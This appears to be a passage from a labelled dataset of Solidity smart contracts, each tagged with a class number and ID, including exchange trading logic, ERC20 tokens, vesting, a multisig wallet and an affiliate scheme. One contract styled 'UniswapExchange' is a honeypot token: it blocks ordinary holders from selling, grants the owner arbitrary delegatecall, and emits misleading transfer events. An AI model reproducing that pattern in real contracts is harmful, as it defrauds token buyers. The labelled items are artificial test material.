makerOrderHash : keccak256(this, tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeValues[2], tradeAddresses[2]),
takerOrderHash : keccak256(this, tradeAddresses[3], tradeValues[3], tradeAddresses[4], tradeValues[4], tradeValues[5], tradeAddresses[5])
});
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.makerOrderHash), v[0], rs[0], rs[1]) != t.maker)
{
LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (ecrecover(keccak256("\x19Ethereum Signed Message:\n32", t.takerOrderHash), v[1], rs[2], rs[3]) != t.taker)
{
LogError(uint8(Errors.INVLID_SIGNATURE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (t.makerTokenBuy != t.takerTokenSell || t.makerTokenSell != t.takerTokenBuy)
{
LogError(uint8(Errors.TOKENS_DONT_MATCH), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (t.takerGasFee > 100 finney)
{
LogError(uint8(Errors.GAS_TOO_HIGH), t.makerOrderHash, t.takerOrderHash);
return 0;
}
if (!(
(t.makerTokenBuy != address(0x0) && safeMul(t.makerAmountSell, 1 ether) / t.makerAmountBuy >= safeMul(t.takerAmountBuy, 1 ether) / t.takerAmountSell)
||
(t.makerTokenBuy == address(0x0) && safeMul(t.makerAmountBuy, 1 ether) / t.makerAmountSell <= safeMul(t.takerAmountSell, 1 ether) / t.takerAmountBuy)
))
{
LogError(uint8(Errors.INVLID_PRICE), t.makerOrderHash, t.takerOrderHash);
return 0;
}
TradeValues memory tv = TradeValues({
qty : 0,
invQty : 0,
makerAmountTaken : 0,
takerAmountTaken : 0,
makerReferrer : referrer[t.maker],
takerReferrer : referrer[t.taker]
});
if (tv.makerReferrer == address(0x0)) tv.makerReferrer = feeAccount;
if (tv.takerReferrer == address(0x0)) tv.takerReferrer = feeAccount;
if (t.makerTokenBuy != address(0x0))
{
tv.qty = min(safeSub(t.makerAmountBuy, orderFills[t.makerOrderHash]), safeSub(t.takerAmountSell, safeMul(orderFills[t.takerOrderHash], t.takerAmountSell) / t.takerAmountBuy));
if (tv.qty == 0)
{
LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountSell) / t.makerAmountBuy;
tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.invQty);
tv.makerAmountTaken = safeSub(tv.qty, safeMul(tv.qty, makerFee) / (1 ether));
tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken);
tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.qty, makerAffiliateFee) / (1 ether));
tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.qty);
tv.takerAmountTaken = safeSub(safeSub(tv.invQty, safeMul(tv.invQty, takerFee) / (1 ether)), safeMul(tv.invQty, t.takerGasFee) / (1 ether));
tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken);
tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.invQty, takerAffiliateFee) / (1 ether));
tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.qty, safeSub(makerFee, makerAffiliateFee)) / (1 ether));
tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.invQty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.invQty, t.takerGasFee) / (1 ether)));
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.qty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], safeMul(tv.qty, t.takerAmountBuy) / t.takerAmountSell);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
else
{
tv.qty = min(safeSub(t.makerAmountSell, safeMul(orderFills[t.makerOrderHash], t.makerAmountSell) / t.makerAmountBuy), safeSub(t.takerAmountBuy, orderFills[t.takerOrderHash]));
if (tv.qty == 0)
{
LogError(uint8(Errors.ORDER_ALREADY_FILLED), t.makerOrderHash, t.takerOrderHash);
return 0;
}
tv.invQty = safeMul(tv.qty, t.makerAmountBuy) / t.makerAmountSell;
tokens[t.makerTokenSell][t.maker] = safeSub(tokens[t.makerTokenSell][t.maker], tv.qty);
tv.makerAmountTaken = safeSub(tv.invQty, safeMul(tv.invQty, makerFee) / (1 ether));
tokens[t.makerTokenBuy][t.maker] = safeAdd(tokens[t.makerTokenBuy][t.maker], tv.makerAmountTaken);
tokens[t.makerTokenBuy][tv.makerReferrer] = safeAdd(tokens[t.makerTokenBuy][tv.makerReferrer], safeMul(tv.invQty, makerAffiliateFee) / (1 ether));
tokens[t.takerTokenSell][t.taker] = safeSub(tokens[t.takerTokenSell][t.taker], tv.invQty);
tv.takerAmountTaken = safeSub(safeSub(tv.qty, safeMul(tv.qty, takerFee) / (1 ether)), safeMul(tv.qty, t.takerGasFee) / (1 ether));
tokens[t.takerTokenBuy][t.taker] = safeAdd(tokens[t.takerTokenBuy][t.taker], tv.takerAmountTaken);
tokens[t.takerTokenBuy][tv.takerReferrer] = safeAdd(tokens[t.takerTokenBuy][tv.takerReferrer], safeMul(tv.qty, takerAffiliateFee) / (1 ether));
tokens[t.makerTokenBuy][feeAccount] = safeAdd(tokens[t.makerTokenBuy][feeAccount], safeMul(tv.invQty, safeSub(makerFee, makerAffiliateFee)) / (1 ether));
tokens[t.takerTokenBuy][feeAccount] = safeAdd(tokens[t.takerTokenBuy][feeAccount], safeAdd(safeMul(tv.qty, safeSub(takerFee, takerAffiliateFee)) / (1 ether), safeMul(tv.qty, t.takerGasFee) / (1 ether)));
orderFills[t.makerOrderHash] = safeAdd(orderFills[t.makerOrderHash], tv.invQty);
orderFills[t.takerOrderHash] = safeAdd(orderFills[t.takerOrderHash], tv.qty);
lastActiveTransaction[t.maker] = block.number;
lastActiveTransaction[t.taker] = block.number;
Trade(
t.takerTokenBuy, tv.qty,
t.takerTokenSell, tv.invQty,
t.maker, t.taker,
makerFee, takerFee,
tv.makerAmountTaken , tv.takerAmountTaken,
t.makerOrderHash, t.takerOrderHash
);
return tv.qty;
}
}
function batchOrderTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[7][] tradeValues,
address[6][] tradeAddresses
)
{
for (uint i = 0; i < tradeAddresses.length; i++) {
trade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i]
);
}
}
function cancelOrder(
uint8[2] v,
bytes32[4] rs,
uint256[5] cancelValues,
address[4] cancelAddresses
) public onlyAdmin {
bytes32 orderHash = keccak256(
this, cancelAddresses[0], cancelValues[0], cancelAddresses[1],
cancelValues[1], cancelValues[2], cancelAddresses[2]
);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == cancelAddresses[2]);
bytes32 cancelHash = keccak256(this, orderHash, cancelAddresses[3], cancelValues[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", cancelHash), v[1], rs[2], rs[3]) == cancelAddresses[3]);
require(cancelAddresses[2] == cancelAddresses[3]);
require(orderFills[orderHash] != cancelValues[0]);
if (cancelValues[4] > 50 finney) {
cancelValues[4] = 50 finney;
}
tokens[address(0)][cancelAddresses[3]] = safeSub(tokens[address(0)][cancelAddresses[3]], cancelValues[4]);
orderFills[orderHash] = cancelValues[0];
CancelOrder(cancelHash, orderHash, cancelAddresses[3], cancelAddresses[1], cancelValues[1], cancelValues[4]);
}
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
} | 0 | 280 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,719 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
} | 1 | 2,947 |
pragma solidity ^0.4.17;
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed _sender, uint indexed _transactionId);
event Revocation(address indexed _sender, uint indexed _transactionId);
event Submission(uint indexed _transactionId);
event Execution(uint indexed _transactionId);
event ExecutionFailure(uint indexed _transactionId);
event Deposit(address indexed _sender, uint _value);
event OwnerAddition(address indexed _owner);
event OwnerRemoval(address indexed _owner);
event RequirementChange(uint _required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 1 | 4,455 |
pragma solidity ^0.4.15;
contract BMICOAffiliateProgramm {
mapping (string => address) partnersPromo;
mapping (address => uint256) referrals;
struct itemPartners {
uint256 balance;
string promo;
bool create;
}
mapping (address => itemPartners) partnersInfo;
uint256 public ref_percent = 100;
struct itemHistory {
uint256 datetime;
address referral;
uint256 amount_invest;
}
mapping(address => itemHistory[]) history;
uint256 public amount_referral_invest;
address public owner;
address public contractPreICO;
address public contractICO;
function BMICOAffiliateProgramm(){
owner = msg.sender;
contractPreICO = address(0x0);
contractICO = address(0x0);
}
modifier isOwner()
{
assert(msg.sender == owner);
_;
}
function str_length(string x) constant internal returns (uint256) {
bytes32 str;
assembly {
str := mload(add(x, 32))
}
bytes memory bytesString = new bytes(32);
uint256 charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(str) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
return charCount;
}
function changeOwner(address new_owner) isOwner {
assert(new_owner!=address(0x0));
assert(new_owner!=address(this));
owner = new_owner;
}
function setReferralPercent(uint256 new_percent) isOwner {
ref_percent = new_percent;
}
function setContractPreICO(address new_address) isOwner {
assert(contractPreICO==address(0x0));
assert(new_address!=address(0x0));
assert(new_address!=address(this));
contractPreICO = new_address;
}
function setContractICO(address new_address) isOwner {
assert(contractICO==address(0x0));
assert(new_address!=address(0x0));
assert(new_address!=address(this));
contractICO = new_address;
}
function setPromoToPartner(string promo) {
assert(partnersPromo[promo]==address(0x0));
assert(partnersInfo[msg.sender].create==false);
assert(str_length(promo)>0 && str_length(promo)<=6);
partnersPromo[promo] = msg.sender;
partnersInfo[msg.sender].balance = 0;
partnersInfo[msg.sender].promo = promo;
partnersInfo[msg.sender].create = true;
}
function checkPromo(string promo) constant returns(bool){
return partnersPromo[promo]!=address(0x0);
}
function checkPartner(address partner_address) constant returns(bool isPartner, string promo){
isPartner = partnersInfo[partner_address].create;
promo = '-1';
if(isPartner){
promo = partnersInfo[partner_address].promo;
}
}
function calc_partnerPercent(uint256 ref_amount_invest) constant internal returns(uint16 percent){
percent = 0;
if(ref_amount_invest > 0){
if(ref_amount_invest < 2 ether){
percent = 100;
}
else if(ref_amount_invest >= 2 ether && ref_amount_invest < 3 ether){
percent = 200;
}
else if(ref_amount_invest >= 3 ether && ref_amount_invest < 4 ether){
percent = 300;
}
else if(ref_amount_invest >= 4 ether && ref_amount_invest < 5 ether){
percent = 400;
}
else if(ref_amount_invest >= 5 ether){
percent = 500;
}
}
}
function partnerInfo(address partner_address) constant internal returns(string promo, uint256 balance, uint256[] h_datetime, uint256[] h_invest, address[] h_referrals){
if(partner_address != address(0x0) && partnersInfo[partner_address].create){
promo = partnersInfo[partner_address].promo;
balance = partnersInfo[partner_address].balance;
h_datetime = new uint256[](history[partner_address].length);
h_invest = new uint256[](history[partner_address].length);
h_referrals = new address[](history[partner_address].length);
for(uint256 i=0; i<history[partner_address].length; i++){
h_datetime[i] = history[partner_address][i].datetime;
h_invest[i] = history[partner_address][i].amount_invest;
h_referrals[i] = history[partner_address][i].referral;
}
}
else{
promo = '-1';
balance = 0;
h_datetime = new uint256[](0);
h_invest = new uint256[](0);
h_referrals = new address[](0);
}
}
function partnerInfo_for_Partner(bytes32 hash, uint8 v, bytes32 r, bytes32 s) constant returns(string, uint256, uint256[], uint256[], address[]){
address partner_address = ecrecover(hash, v, r, s);
return partnerInfo(partner_address);
}
function partnerInfo_for_Owner (address partner, bytes32 hash, uint8 v, bytes32 r, bytes32 s) constant returns(string, uint256, uint256[], uint256[], address[]){
if(owner == ecrecover(hash, v, r, s)){
return partnerInfo(partner);
}
else {
return ('-1', 0, new uint256[](0), new uint256[](0), new address[](0));
}
}
function add_referral(address referral, string promo, uint256 amount) external returns(address partner, uint256 p_partner, uint256 p_referral){
p_partner = 0;
p_referral = 0;
partner = address(0x0);
if (msg.sender == contractPreICO || msg.sender == contractICO){
if(partnersPromo[promo] != address(0x0) && partnersPromo[promo] != referral){
partner = partnersPromo[promo];
referrals[referral] += amount;
amount_referral_invest += amount;
partnersInfo[partner].balance += amount;
history[partner].push(itemHistory(now, referral, amount));
p_partner = (amount*uint256(calc_partnerPercent(amount)))/10000;
p_referral = (amount*ref_percent)/10000;
}
}
}
} | 0 | 899 |
pragma solidity ^0.4.17;
library SafeMath {
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint public totalSupply;
address public owner;
function balanceOf(address who) constant public returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant public returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint;
